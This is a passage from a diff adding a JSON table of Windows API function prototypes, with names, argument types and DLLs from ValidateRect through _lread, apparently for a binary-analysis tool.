pcchUnescaped, DWORD dwFlags );" + }, + { + "function_name": "ValidateRect", + "arguments": [ + "HWND", + "CONST RECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ValidateRect(HWND hwnd, CONST RECT *lprc);" + }, + { + "function_name": "ValidateRgn", + "arguments": [ + "HWND", + "HRGN" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ValidateRgn(HWND hwnd, HRGN hrgn);" + }, + { + "function_name": "VerifyScreenSavePwd", + "arguments": [ + "HWND" + ], + "dll_name": "password.cpl", + "full_prototype": "BOOL VerifyScreenSavePwd(HWND hwnd);" + }, + { + "function_name": "VerLanguageNameA", + "arguments": [ + "DWORD", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD VerLanguageNameA( DWORD idLang,LPTSTR lpszLang, DWORD cbLang);" + }, + { + "function_name": "VerLanguageNameW", + "arguments": [ + "DWORD", + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD VerLanguageNameW(DWORD wLang, LPWSTR szLang, DWORD nSize);" + }, + { + "function_name": "VirtualAlloc", + "arguments": [ + "LPVOID", + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID VirtualAlloc(LPVOID lpvAddress,DWORD cbSize, DWORD fdwAllocationType, DWORD fdwProtect);" + }, + { + "function_name": "VirtualAllocEx", + "arguments": [ + "HANDLE", + "LPVOID", + "SIZE_T", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);" + }, + { + "function_name": "VirtualFree", + "arguments": [ + "LPVOID", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL VirtualFree(LPVOID lpvAddress, DWORD cbSize, DWORD fdwFreeType);" + }, + { + "function_name": "VirtualFreeEx", + "arguments": [ + "HANDLE", + "LPVOID", + "SIZE_T", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);" + }, + { + "function_name": "VirtualLock", + "arguments": [ + "LPVOID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL VirtualLock(LPVOID lpvAddress, DWORD cbSize);" + }, + { + "function_name": "VirtualProtect", + "arguments": [ + "LPVOID", + "DWORD", + "DWORD", + "PDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL VirtualProtect(LPVOID lpvAddress,DWORD cbSize, DWORD fdwNewProtect, PDWORD pfdwOldProtect);" + }, + { + "function_name": "VirtualProtectEx", + "arguments": [ + "HANDLE", + "LPVOID", + "DWORD", + "DWORD", + "PDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL VirtualProtectEx(HANDLE hProcess, LPVOID lpvAddress, DWORD cbSize,DWORD fdwNewProtect,PDWORD pfdwOldProtect);" + }, + { + "function_name": "VirtualQuery", + "arguments": [ + "LPCVOID", + "PMEMORY_BASIC_INFORMATION", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD VirtualQuery(LPCVOID lpvAddress,PMEMORY_BASIC_INFORMATION pmbiBuffer, DWORD cbLength);" + }, + { + "function_name": "VirtualQueryEx", + "arguments": [ + "HANDLE", + "LPCVOID", + "PMEMORY_BASIC_INFORMATION", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD VirtualQueryEx(HANDLE hProcess, LPCVOID lpvAddress, PMEMORY_BASIC_INFORMATION pmbiBuffer,DWORD cbLength);" + }, + { + "function_name": "VirtualUnlock", + "arguments": [ + "LPVOID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL VirtualUnlock(LPVOID lpvAddress, DWORD cbSize);" + }, + { + "function_name": "VkKeyScanA", + "arguments": [ + "TCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "SHORT VkKeyScanA(TCHAR ch);" + }, + { + "function_name": "VkKeyScanExA", + "arguments": [ + "UINT", + "HKL" + ], + "dll_name": "user32.dll", + "full_prototype": "SHORT VkKeyScanExA(UINT uChar, HKL hkl);" + }, + { + "function_name": "VkKeyScanExW", + "arguments": [ + "WCHAR", + "HKL" + ], + "dll_name": "user32.dll", + "full_prototype": "SHORT VkKeyScanExW(WCHAR uChar, HKL hkl);" + }, + { + "function_name": "VkKeyScanW", + "arguments": [ + "WCHAR" + ], + "dll_name": "user32.dll", + "full_prototype": "SHORT VkKeyScanW(WCHAR ch);" + }, + { + "function_name": "WaitCommEvent", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPOVERLAPPED" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WaitCommEvent(HANDLE hCommDev, LPDWORD lpfdwEvtMask, LPOVERLAPPED lpo);" + }, + { + "function_name": "WaitForDebugEvent", + "arguments": [ + "LPDEBUG_EVENT", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WaitForDebugEvent(LPDEBUG_EVENT lpde, DWORD dwTimeout);" + }, + { + "function_name": "WaitForInputIdle", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD WaitForInputIdle(HANDLE hProcess, DWORD dwTimeout);" + }, + { + "function_name": "WaitForMultipleObjects", + "arguments": [ + "DWORD", + "CONST HANDLE *", + "BOOL", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD WaitForMultipleObjects(DWORD cObjects, CONST HANDLE * lphObjects,BOOL fWaitAll, DWORD dwTimeout);" + }, + { + "function_name": "WaitForMultipleObjectsEx", + "arguments": [ + "DWORD", + "CONST HANDLE *", + "BOOL", + "DWORD", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD WaitForMultipleObjectsEx(DWORD cObjects, CONST HANDLE * lphObjects, BOOL fWaitAll, DWORD dwTimeout, BOOL fAlertable);" + }, + { + "function_name": "WaitForSingleObject", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD WaitForSingleObject( HANDLE hObject,DWORD dwTimeout );" + }, + { + "function_name": "WaitForSingleObjectEx", + "arguments": [ + "HANDLE", + "DWORD", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD WaitForSingleObjectEx(HANDLE hObject, DWORD dwTimeout, BOOL fAlertable);" + }, + { + "function_name": "WaitMessage", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL WaitMessage(VOID);" + }, + { + "function_name": "WaitNamedPipeA", + "arguments": [ + "LPCTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WaitNamedPipeA(LPCTSTR lpszPipeName, DWORD dwTimeout);" + }, + { + "function_name": "WaitNamedPipeW", + "arguments": [ + "LPCWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WaitNamedPipeW(LPCWSTR name, DWORD nTimeOut);" + }, + { + "function_name": "waveOutGetNumDevs", + "arguments": [ + "" + ], + "dll_name": "winmm.dll", + "full_prototype": "UINT waveOutGetNumDevs(VOID);" + }, + { + "function_name": "WideCharToMultiByte", + "arguments": [ + "UINT", + "DWORD", + "LPCWSTR", + "int", + "LPSTR", + "int", + "LPCSTR", + "LPBOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr, int cchMultiByte,LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar);" + }, + { + "function_name": "WidenPath", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL WidenPath(HDC hdc);" + }, + { + "function_name": "WindowFromDC", + "arguments": [ + "HDC" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND WindowFromDC(HDC hdc);" + }, + { + "function_name": "WindowFromPoint", + "arguments": [ + "POINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND WindowFromPoint(POINT pt);" + }, + { + "function_name": "WinExec", + "arguments": [ + "LPCSTR", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT WinExec( LPCSTR lpszCmdLine, UINT fuCmdShow );" + }, + { + "function_name": "WinHelpA", + "arguments": [ + "HWND", + "LPCTSTR", + "UINT", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL WinHelpA(HWND hwnd, LPCTSTR lpszHelp, UINT uCommand, DWORD dwData);" + }, + { + "function_name": "WinHelpW", + "arguments": [ + "HWND", + "LPCTSTR", + "UINT", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL WinHelpW(HWND hwnd, LPCTSTR lpszHelp, UINT uCommand, DWORD dwData);" + }, + { + "function_name": "WNetAddConnection2A", + "arguments": [ + "LPNETRESOURCE", + "LPCTSTR", + "LPCTSTR", + "DWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetAddConnection2A(LPNETRESOURCE lpNetResource,LPCTSTR lpPassword, LPCTSTR lpUsername, DWORD fdwConnection);" + }, + { + "function_name": "WNetAddConnection2W", + "arguments": [ + "LPNETRESOURCEW", + "LPCWSTR", + "LPCWSTR", + "DWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetAddConnection2W(LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUsername, DWORD fdwConnection);" + }, + { + "function_name": "WNetAddConnection3A", + "arguments": [ + "HWND", + "LPNETRESOURCE", + "LPTSTR", + "LPTSTR", + "DWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetAddConnection3A(HWND hwndOwner, LPNETRESOURCE lpNetResource, LPTSTR lpPassword, LPTSTR lpUserName, DWORD fdwConnection);" + }, + { + "function_name": "WNetAddConnection3W", + "arguments": [ + "HWND", + "LPNETRESOURCEW", + "LPCWSTR", + "LPCWSTR", + "DWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetAddConnection3W(HWND hwndOwner, LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserName, DWORD fdwConnection);" + }, + { + "function_name": "WNetAddConnectionA", + "arguments": [ + "LPTSTR", + "LPTSTR", + "LPTSTR" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetAddConnectionA(LPTSTR lpszRemoteName, LPTSTR lpszPassword,LPTSTR lpszLocalName);" + }, + { + "function_name": "WNetAddConnectionW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetAddConnectionW(LPCWSTR lpszRemoteName, LPCWSTR lpszPassword, LPCWSTR lpszLocalName);" + }, + { + "function_name": "WNetCancelConnection2A", + "arguments": [ + "LPTSTR", + "DWORD", + "BOOL" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetCancelConnection2A(LPTSTR lpszName,DWORD fdwConnection, BOOL fForce);" + }, + { + "function_name": "WNetCancelConnection2W", + "arguments": [ + "LPCWSTR", + "DWORD", + "BOOL" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetCancelConnection2W(LPCWSTR lpszName, DWORD fdwConnection, BOOL fForce);" + }, + { + "function_name": "WNetCancelConnectionA", + "arguments": [ + "LPTSTR", + "BOOL" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetCancelConnectionA(LPTSTR lpszName, BOOL fForce);" + }, + { + "function_name": "WNetCancelConnectionW", + "arguments": [ + "LPCWSTR", + "BOOL" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetCancelConnectionW(LPCWSTR lpszName, BOOL fForce);" + }, + { + "function_name": "WNetCloseEnum", + "arguments": [ + "HANDLE" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetCloseEnum(HANDLE hEnum);" + }, + { + "function_name": "WNetConnectionDialog", + "arguments": [ + "HWND", + "DWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetConnectionDialog( HWND hwnd,DWORD fdwResourceType );" + }, + { + "function_name": "WNetConnectionDialog1A", + "arguments": [ + "LPCONNECTDLGSTRUCT" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetConnectionDialog1A(LPCONNECTDLGSTRUCT lpConnDlgStruct);" + }, + { + "function_name": "WNetConnectionDialog1W", + "arguments": [ + "LPCONNECTDLGSTRUCTW" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetConnectionDialog1W(LPCONNECTDLGSTRUCTW lpConnDlgStruct);" + }, + { + "function_name": "WNetDisconnectDialog", + "arguments": [ + "HWND", + "DWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetDisconnectDialog( HWND hwnd,DWORD fdwResourceType );" + }, + { + "function_name": "WNetDisconnectDialog1A", + "arguments": [ + "LPDISCDLGSTRUCT" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetDisconnectDialog1A(LPDISCDLGSTRUCT lpConnDlgStruct);" + }, + { + "function_name": "WNetDisconnectDialog1W", + "arguments": [ + "LPDISCDLGSTRUCTW" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetDisconnectDialog1W(LPDISCDLGSTRUCTW lpConnDlgStruct);" + }, + { + "function_name": "WNetEnumResourceA", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPVOID", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetEnumResourceA(HANDLE hEnum, LPDWORD lpcEntries, LPVOID lpvBuffer, LPDWORD lpcbBuffer);" + }, + { + "function_name": "WNetEnumResourceW", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPVOID", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetEnumResourceW(HANDLE hEnum, LPDWORD lpcEntries, LPVOID lpvBuffer, LPDWORD lpcbBuffer);" + }, + { + "function_name": "WNetGetConnectionA", + "arguments": [ + "LPTSTR", + "LPTSTR", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetConnectionA(LPTSTR lpszLocalName, LPTSTR lpszRemoteName, LPDWORD lpcchBuffer);" + }, + { + "function_name": "WNetGetConnectionW", + "arguments": [ + "LPCWSTR", + "LPWSTR", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetConnectionW(LPCWSTR lpszLocalName, LPWSTR lpszRemoteName, LPDWORD lpcchBuffer);" + }, + { + "function_name": "WNetGetLastErrorA", + "arguments": [ + "LPDWORD", + "LPTSTR", + "DWORD", + "LPTSTR", + "DWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetLastErrorA(LPDWORD lpdwErrorCode,LPTSTR lpszDescription, DWORD cchDescription, LPTSTR lpszName, DWORD cchName);" + }, + { + "function_name": "WNetGetLastErrorW", + "arguments": [ + "LPDWORD", + "LPWSTR", + "DWORD", + "LPWSTR", + "DWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetLastErrorW(LPDWORD lpdwErrorCode,LPWSTR lpszDescription, DWORD cchDescription, LPWSTR lpszName, DWORD cchName);" + }, + { + "function_name": "WNetGetNetworkInformationA", + "arguments": [ + "LPCTSTR", + "LPNETINFOSTRUCT" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetNetworkInformationA(LPCTSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct);" + }, + { + "function_name": "WNetGetNetworkInformationW", + "arguments": [ + "LPCWSTR", + "LPNETINFOSTRUCT" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetNetworkInformationW(LPCWSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct);" + }, + { + "function_name": "WNetGetProviderNameA", + "arguments": [ + "DWORD", + "LPTSTR", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetProviderNameA(DWORD dwNetType, LPTSTR lpProviderName, LPDWORD lpBufferSize);" + }, + { + "function_name": "WNetGetProviderNameW", + "arguments": [ + "DWORD", + "LPWSTR", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetProviderNameW(DWORD dwNetType, LPWSTR lpProviderName, LPDWORD lpBufferSize);" + }, + { + "function_name": "WNetGetResourceParentA", + "arguments": [ + "LPNETRESOURCE", + "LPVOID", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetResourceParentA(LPNETRESOURCE lpNetResource, LPVOID lpBuffer, LPDWORD lpBufferSize);" + }, + { + "function_name": "WNetGetResourceParentW", + "arguments": [ + "LPNETRESOURCEW", + "LPVOID", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetResourceParentW(LPNETRESOURCEW lpNetResource, LPVOID lpBuffer, LPDWORD lpBufferSize);" + }, + { + "function_name": "WNetGetUniversalNameA", + "arguments": [ + "LPCTSTR", + "DWORD", + "LPVOID", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetUniversalNameA(LPCTSTR lpLocalPath, DWORD dwInfoLevel, LPVOID lpBuffer,LPDWORD lpBufferSize);" + }, + { + "function_name": "WNetGetUniversalNameW", + "arguments": [ + "LPCWSTR", + "DWORD", + "LPVOID", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetUniversalNameW(LPCWSTR lpLocalPath, DWORD dwInfoLevel, LPVOID lpBuffer,LPDWORD lpBufferSize);" + }, + { + "function_name": "WNetGetUserA", + "arguments": [ + "LPTSTR", + "LPTSTR", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetUserA(LPTSTR lpszLocalName,LPTSTR lpszUserName,LPDWORD lpcchBuffer);" + }, + { + "function_name": "WNetGetUserW", + "arguments": [ + "LPCWSTR", + "LPWSTR", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetGetUserW(LPCWSTR lpszLocalName, LPWSTR lpszUserName,LPDWORD lpcchBuffer);" + }, + { + "function_name": "WNetOpenEnumA", + "arguments": [ + "DWORD", + "DWORD", + "DWORD", + "LPNETRESOURCE", + "LPHANDLE" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetOpenEnumA(DWORD fdwScope, DWORD fdwType, DWORD fdwUsage, LPNETRESOURCE lpNetResource, LPHANDLE lphEnum);" + }, + { + "function_name": "WNetOpenEnumW", + "arguments": [ + "DWORD", + "DWORD", + "DWORD", + "LPNETRESOURCEW", + "LPHANDLE" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetOpenEnumW(DWORD fdwScope, DWORD fdwType, DWORD fdwUsage, LPNETRESOURCEW lpNetResource, LPHANDLE lphEnum);" + }, + { + "function_name": "WNetSetConnectionA", + "arguments": [ + "LPCTSTR", + "DWORD", + "LPVOID" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetSetConnectionA(LPCTSTR lpName, DWORD dwProperty, LPVOID pvValue);" + }, + { + "function_name": "WNetSetConnectionW", + "arguments": [ + "LPCWSTR", + "DWORD", + "LPVOID" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetSetConnectionW(LPCWSTR lpName, DWORD dwProperty, LPVOID pvValue);" + }, + { + "function_name": "WNetUseConnectionA", + "arguments": [ + "HWND", + "LPNETRESOURCE", + "LPCTSTR", + "LPCTSTR", + "DWORD", + "LPTSTR", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetUseConnectionA(HWND hwndOwner, LPNETRESOURCE lpNetResource, LPCTSTR lpPassword, LPCTSTR lpUserID, DWORD dwFlags, LPTSTR lpAccessName, LPDWORD lpBufferSize, LPDWORD lpResult);" + }, + { + "function_name": "WNetUseConnectionW", + "arguments": [ + "HWND", + "LPNETRESOURCEW", + "LPCWSTR", + "LPCWSTR", + "DWORD", + "LPWSTR", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD WNetUseConnectionW(HWND hwndOwner, LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserID, DWORD dwFlags, LPWSTR lpAccessName, LPDWORD lpBufferSize, LPDWORD lpResult);" + }, + { + "function_name": "WriteConsoleA", + "arguments": [ + "HANDLE", + "CONST VOID", + "DWORD", + "LPDWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteConsoleA(HANDLE hConsoleOutput, CONST VOID *lpvBuffer, DWORD cchToWrite, LPDWORD lpcchWritten, LPVOID lpvReserved);" + }, + { + "function_name": "WriteConsoleW", + "arguments": [ + "HANDLE", + "CONST VOID", + "DWORD", + "LPDWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteConsoleW(HANDLE hConsoleOutput, CONST VOID *lpvBuffer, DWORD cchToWrite, LPDWORD lpcchWritten, LPVOID lpvReserved);" + }, + { + "function_name": "WriteConsoleInputA", + "arguments": [ + "HANDLE", + "PINPUT_RECORD", + "DWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteConsoleInputA(HANDLE hConsoleInput,PINPUT_RECORD pirBuffer, DWORD cInRecords, LPDWORD lpcWritten);" + }, + { + "function_name": "WriteConsoleInputW", + "arguments": [ + "HANDLE", + "CONST INPUT_RECORD", + "DWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteConsoleInputW(HANDLE hConsoleInput, CONST INPUT_RECORD *lpBuffer, DWORD nLength, LPDWORD lpNumberOfEventsWritten);" + }, + { + "function_name": "WriteConsoleOutputA", + "arguments": [ + "HANDLE", + "PCHAR_INFO", + "COORD", + "COORD", + "PSMALL_RECT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteConsoleOutputA(HANDLE hConsoleOutput, PCHAR_INFO pchiSrcBuffer,COORD coordSrcBufferSize, COORD coordSrcBufferCoord, PSMALL_RECT psrctDestRect);" + }, + { + "function_name": "WriteConsoleOutputW", + "arguments": [ + "HANDLE", + "PCHAR_INFO", + "COORD", + "COORD", + "PSMALL_RECT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteConsoleOutputW(HANDLE hConsoleOutput, PCHAR_INFO pchiSrcBuffer,COORD coordSrcBufferSize, COORD coordSrcBufferCoord, PSMALL_RECT psrctDestRect);" + }, + { + "function_name": "WriteConsoleOutputAttribute", + "arguments": [ + "HANDLE", + "LPWORD", + "DWORD", + "COORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteConsoleOutputAttribute(HANDLE hConsoleOutput, LPWORD lpwAttribute, DWORD cWriteCells,COORD coordWrite, LPDWORD lpcWritten);" + }, + { + "function_name": "WriteConsoleOutputCharacterA", + "arguments": [ + "HANDLE", + "LPTSTR", + "DWORD", + "COORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteConsoleOutputCharacterA(HANDLE hConsoleOutput, LPTSTR lpWriteBuffer,DWORD cchWrite,COORD coordWriteCoord, LPDWORD lpcWritten);" + }, + { + "function_name": "WriteConsoleOutputCharacterW", + "arguments": [ + "HANDLE", + "LPCWSTR", + "DWORD", + "COORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteConsoleOutputCharacterW(HANDLE hConsoleOutput, LPCWSTR str, DWORD length, COORD coord, LPDWORD lpNumCharsWritten);" + }, + { + "function_name": "WriteFile", + "arguments": [ + "HANDLE", + "LPCVOID", + "DWORD", + "LPDWORD", + "LPOVERLAPPED" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);" + }, + { + "function_name": "WriteFileEx", + "arguments": [ + "HANDLE", + "LPCVOID", + "DWORD", + "LPOVERLAPPED", + "LPOVERLAPPED_COMPLETION_ROUTINE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteFileEx(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPOVERLAPPED lpOverlapped,LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);" + }, + { + "function_name": "WritePrivateProfileSectionA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WritePrivateProfileSectionA(LPCTSTR lpszSection, LPCTSTR lpszKeysAndValues, LPCTSTR lpszFile);" + }, + { + "function_name": "WritePrivateProfileSectionW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WritePrivateProfileSectionW(LPCWSTR section, LPCWSTR string, LPCWSTR filename);" + }, + { + "function_name": "WritePrivateProfileStringA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WritePrivateProfileStringA(LPCTSTR lpszSection, LPCTSTR lpszKey, LPCTSTR lpszString,LPCTSTR lpszFile);" + }, + { + "function_name": "WritePrivateProfileStringW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WritePrivateProfileStringW(LPCWSTR lpszSection, LPCWSTR lpszKey, LPCWSTR lpszString, LPCWSTR lpszFile);" + }, + { + "function_name": "WriteProcessMemory", + "arguments": [ + "HANDLE", + "LPVOID", + "LPVOID", + "DWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPVOID lpBuffer, DWORD cbWrite, LPDWORD lpNumberOfBytesWritten);" + }, + { + "function_name": "WriteProfileSectionA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteProfileSectionA(LPCTSTR lpszSection, LPCTSTR lpszKeysAndValues);" + }, + { + "function_name": "WriteProfileSectionW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteProfileSectionW(LPCWSTR lpszSection, LPCWSTR lpszKeysAndValues);" + }, + { + "function_name": "WriteProfileStringA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteProfileStringA(LPCTSTR lpszSection, LPCTSTR lpszKey,LPCTSTR lpszString);" + }, + { + "function_name": "WriteProfileStringW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL WriteProfileStringW(LPCWSTR section, LPCWSTR entry, LPCWSTR string);" + }, + { + "function_name": "WriteTapemark", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD WriteTapemark(HANDLE hDevice, DWORD dwTapemarkType, DWORD dwTapemarkCount, BOOL bImmediate);" + }, + { + "function_name": "wsprintfA", + "arguments": [ + "LPTSTR", + "LPCTSTR", + "" + ], + "dll_name": "user32.dll", + "full_prototype": "int wsprintfA(LPTSTR lpOut, LPCTSTR lpFmt, ...);" + }, + { + "function_name": "wsprintfW", + "arguments": [ + "LPWSTR", + "LPCWSTR", + "" + ], + "dll_name": "user32.dll", + "full_prototype": "int wsprintfW(LPWSTR lpOut, LPCWSTR lpFmt, ...);" + }, + { + "function_name": "wvsprintfA", + "arguments": [ + "LPTSTR", + "LPCTSTR", + "va_list" + ], + "dll_name": "user32.dll", + "full_prototype": "int wvsprintfA(LPTSTR lpOutput, LPCTSTR lpFormat, va_list arglist);" + }, + { + "function_name": "wvsprintfW", + "arguments": [ + "LPWSTR", + "LPCWSTR", + "va_list" + ], + "dll_name": "user32.dll", + "full_prototype": "int wvsprintfW(LPWSTR lpOutput, LPCWSTR lpFormat, va_list arglist);" + }, + { + "function_name": "_hread", + "arguments": [ + "HFILE", + "LPVOID", + "long" + ], + "dll_name": "kernel32.dll", + "full_prototype": "long _hread(HFILE hFile, LPVOID lpBuffer, long lBytes);" + }, + { + "function_name": "_hwrite", + "arguments": [ + "HFILE", + "LPCSTR", + "long" + ], + "dll_name": "kernel32.dll", + "full_prototype": "long _hwrite(HFILE hFile, LPCSTR lpBuffer, long lBytes);" + }, + { + "function_name": "_lclose", + "arguments": [ + "HFILE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HFILE _lclose(HFILE hFile);" + }, + { + "function_name": "_lcreat", + "arguments": [ + "LPCSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HFILE _lcreat(LPCSTR lpPathName, int iAttribute);" + }, + { + "function_name": "_llseek", + "arguments": [ + "HFILE", + "LONG", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LONG _llseek(HFILE hFile, LONG lOffset,int iOrigin );" + }, + { + "function_name": "_lopen", + "arguments": [ + "LPCSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HFILE _lopen(LPCSTR lpPathName, int iReadWrite);" + }, + { + "function_name": "_lread", + "arguments": [ + "HFILE", + "LPVOID", + "UINT" + ], + 